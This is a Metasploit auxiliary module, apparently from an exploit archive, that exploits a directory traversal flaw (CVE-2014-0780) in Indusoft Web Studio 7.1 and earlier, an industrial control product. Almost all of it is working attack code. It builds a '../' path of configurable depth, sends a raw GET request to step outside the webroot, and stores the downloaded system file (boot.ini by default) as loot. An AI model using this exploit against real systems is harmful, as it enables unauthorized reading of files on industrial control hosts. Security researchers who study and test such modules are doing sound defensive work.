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Indusoft Web Studio Directory Traversal

Posted on 15 September 2017

require 'msf/core'

class MetasploitModule < Msf::Auxiliary
Rank = GreatRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Indusoft Web Studio Directory Traversal',
'Description' => %q{
This module exploits a flaw found in Indusoft Web Studio
<= 7.1 before SP2 Patch 4. This specific flaw allows users
to browse outside of the webroot to download files found
on the underlying system
},
'Author' => [ 'James Fitts' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: $',
'References' =>
[
[ 'CVE', '2014-0780' ],
[ 'ZDI', '14-118/' ],
[ 'URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-14-107-02']
],
'DisclosureDate' => 'Jan 18 2013'))

register_options(
[
OptInt.new('DEPTH', [ false, 'Levels to reach base directory', 8]),
OptString.new('FILE', [ false, 'This is the file to download', 'boot.ini']),
Opt::RPORT(80)
], self.class )
end

def run

depth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']
levels = "/" + ("../" * depth)

res = send_request_raw({
'method' => 'GET',
'uri' => "/" + levels + datastore['FILE'],
})

if res and res.code == 200 and res.message =~ /Sending file/
loot = res.body
if not loot or loot.empty?
print_status("File from #{rhost}:#{rport} is empty...")
return
end
file = ::File.basename(datastore['FILE'])
path = store_loot('indusoft.webstudio.file', 'application/octet-stream', rhost, loot, file, datastore['FILE'])
print_status("Stored #{datastore['FILE']} to #{path}")
return
end

end
end

 

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